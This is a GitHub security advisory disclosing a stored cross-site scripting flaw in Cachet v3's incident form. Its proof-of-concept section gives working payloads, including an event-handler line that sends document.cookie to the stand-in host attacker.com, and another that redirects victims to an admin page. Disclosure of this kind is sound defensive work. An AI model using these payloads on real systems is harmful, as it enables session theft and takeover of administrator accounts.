GHSA-x397-5hrv-j9m9

Cachet has Stored XSS in Incident Component

### Summary A stored Cross-Site Scripting (XSS) vulnerability exists in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover. ### Details The incident Name and Message fields do not properly sanitize HTML event handler attributes. While <script> tags appear to be filtered, event-based payloads are not blocked. Affected endpoint: /dashboard/incidents/ Affected fields: Incident Name, Incident Message Affected version: Cachet v3 ### PoC 1. Log in as an authenticated user 2. Navigate to /dashboard/incidents/ 3. Create a new incident 4. Insert the following payloads in the Name and Message field: Payload 1 — Confirm XSS execution: ```<img src=x onerror="alert(1)">``` Step 2 — Cookie/token exfiltration: ```<img src=x onerror="fetch('http://attacker.com/leak?c='+document.cookie)">``` Step 3 — Forced redirect to sensitive page: ```<img src=x onerror="window.location='/dashboard/manage-customization'">``` 5. Save the incident 6. Navigate to the public status page 7. Payload executes in the victim's browser ### Payload 1 <img width="1926" height="1062" alt="Screenshot_2026-05-05_21_19_21" src="https://github.com/user-attachments/assets/3ec50987-332d-4ba2-8fd2-b18ccc8d8f6b" /> ### Payload 2 <img width="1910" height="525" alt="Screenshot_2026-05-07_12_22_07" src="https://github.com/user-attachments/assets/3b34170d-a2f0-4962-9e20-1fc8e305c589" /> Stored XSS affecting all users who view the public status page. An attacker can: - Confirm script execution via alert popup - Steal session cookies and XSRF tokens from authenticated users - Silently redirect victims to sensitive pages like `/dashboard/manage-customization` This vulnerability could lead to full account takeover of any user who views the status page, including administrators.